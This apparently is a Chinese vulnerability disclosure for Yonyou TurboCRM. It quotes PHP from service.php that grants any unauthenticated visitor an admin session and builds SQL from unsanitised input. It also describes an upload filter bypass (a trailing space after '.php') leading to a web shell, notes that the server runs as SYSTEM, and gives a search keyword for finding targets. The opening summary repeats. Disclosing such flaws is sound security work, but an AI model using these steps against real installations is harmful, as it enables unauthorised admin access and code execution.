### 简要描述: 用友CRM客户关系管理软件访问某文件时自动分配全局管理员session信息导致可直接使用系统管理员账号身份登录crm及GETSHELL等。 ### 详细说明: 1. 漏洞文件:/webservice/service.php *注释中写得很明白了~~~ ``` <?php /** * 如果没有登录时,要求必须指定参数orgcode: 单位代码 * 如没有传入orgcode,则取orgid=1 * 为当前的会话设置一个登录标识: WSLOGIN = 0/1, 如果没有登录, 则默认以当前ORG的admin登录,以便查看可用的WEB服务 */ //从原始请求头中找出<xxx:Header><xx:PHPSESSID>中的SESSIONID信息 preg_match_all("/<[ a-zA-Z0-9:_='\"]*PHPSESSID[ a-zA-Z0-9:_='\"]*>([a-zA-Z0-9]+)<\/[a-zA-Z0-9:_]*PHPSESSID>/", $GLOBALS['HTTP_RAW_POST_DATA'], $matches, PREG_SET_ORDER); //file_put_contents("c:/aa.txt", $matches[0][1]); if(count($matches) > 0) { $UserSessionID = $matches[0][1]; } $DontCheckLogin = true; include_once "tglobal.lib"; $gblObj = TGBL_getObject(); if($gblObj->getUserSession("WSLOGIN",0) == 0) { //检查orgcode变量 if (isEmptyString($orgcode)) { $org_id = 1; } else { $org_id = 0; $sql = "select org_id from tc_org_profile where org_code='$orgcode'"; $rs = $gblDB->Query($sql); if($rs) { if($rs->fetchRecord()) $org_id = $rs->getFieldValue(0);...
### 简要描述: 用友CRM客户关系管理软件访问某文件时自动分配全局管理员session信息导致可直接使用系统管理员账号身份登录crm及GETSHELL等。 ### 详细说明: 1. 漏洞文件:/webservice/service.php *注释中写得很明白了~~~ ``` <?php /** * 如果没有登录时,要求必须指定参数orgcode: 单位代码 * 如没有传入orgcode,则取orgid=1 * 为当前的会话设置一个登录标识: WSLOGIN = 0/1, 如果没有登录, 则默认以当前ORG的admin登录,以便查看可用的WEB服务 */ //从原始请求头中找出<xxx:Header><xx:PHPSESSID>中的SESSIONID信息 preg_match_all("/<[ a-zA-Z0-9:_='\"]*PHPSESSID[ a-zA-Z0-9:_='\"]*>([a-zA-Z0-9]+)<\/[a-zA-Z0-9:_]*PHPSESSID>/", $GLOBALS['HTTP_RAW_POST_DATA'], $matches, PREG_SET_ORDER); //file_put_contents("c:/aa.txt", $matches[0][1]); if(count($matches) > 0) { $UserSessionID = $matches[0][1]; } $DontCheckLogin = true; include_once "tglobal.lib"; $gblObj = TGBL_getObject(); if($gblObj->getUserSession("WSLOGIN",0) == 0) { //检查orgcode变量 if (isEmptyString($orgcode)) { $org_id = 1; } else { $org_id = 0; $sql = "select org_id from tc_org_profile where org_code='$orgcode'"; $rs = $gblDB->Query($sql); if($rs) { if($rs->fetchRecord()) $org_id = $rs->getFieldValue(0); $rs->close(); } if(!isValidID($org_id)) die("parameter orgcode not found or invalid!"); } //以admin模拟登录 $gblObj->LoginWithUser(1,$org_id); } //加载WEB服务 ``` ------------------------------------------------------------------------ 2.测试版本官方:http://prm.yonyou.com/version.txt 7.0 patch3(其他版本也一样) 该CRM登陆需要三个条件:单位简称,用户名,密码 [<img src="https://images.seebug.org/upload/201405/28100718b99555be841f4b7dd1c428baaaa9f4e5.png" alt="yongyou1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/28100718b99555be841f4b7dd1c428baaaa9f4e5.png) 3.直接访问http://prm.yonyou.com/webservice/service.php,然后在访问http://prm.yonyou.com/ 会惊奇的发现已经是administrator权限登陆状态了|||— [<img src="https://images.seebug.org/upload/201405/2810113031acf5970416fd3af882f77487d43ef1.png" alt="yongyou2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/2810113031acf5970416fd3af882f77487d43ef1.png) [<img src="https://images.seebug.org/upload/201405/28101215e5c91dc73abed0cd441f59b0e7d3df80.png" alt="yongyou3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/28101215e5c91dc73abed0cd441f59b0e7d3df80.png) 4.用户上传图片可绕过限制上传php脚本(正常上传时11.php被命名为11.php_) ``` HTTP/1.1 200 OK Content-Length: 154 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 {"success":true,"code":"","message":"","files":[{"vname":"picfile","fname":"11.php","url":"\/tmpfile\/upd184.tmp.php_","type":"image\/jpeg","size":5158}]} ``` 5.11.php后面加空格可绕过限制 ``` HTTP/1.1 200 OK Date: Wed, 28 May 2014 02:45:25 GMT Server: Apache/2.2.13 (Win32) PHP/5.2.10 X-Powered-By: PHP/5.2.10 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding,User-Agent Content-Length: 155 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 {"success":true,"code":"","message":"","files":[{"vname":"picfile","fname":"11.php ","url":"\/tmpfile\/upd186.tmp.php ","type":"image\/jpeg","size":5158}]} ``` 6.Apache采用system权限启动。 [<img src="https://images.seebug.org/upload/201405/281039346e0d29a019eb2a32b752f8677d76a09d.png" alt="yongyou5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/281039346e0d29a019eb2a32b752f8677d76a09d.png) ### 漏洞证明: [<img src="https://images.seebug.org/upload/201405/28104022e8da9ff7621ace962b74b1f3cad86f10.png" alt="yongyou6.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/28104022e8da9ff7621ace962b74b1f3cad86f10.png) 漏洞影响: ---------------------------------- 该程序搜索引擎关键字“用友TurboCRM” -----------------------------------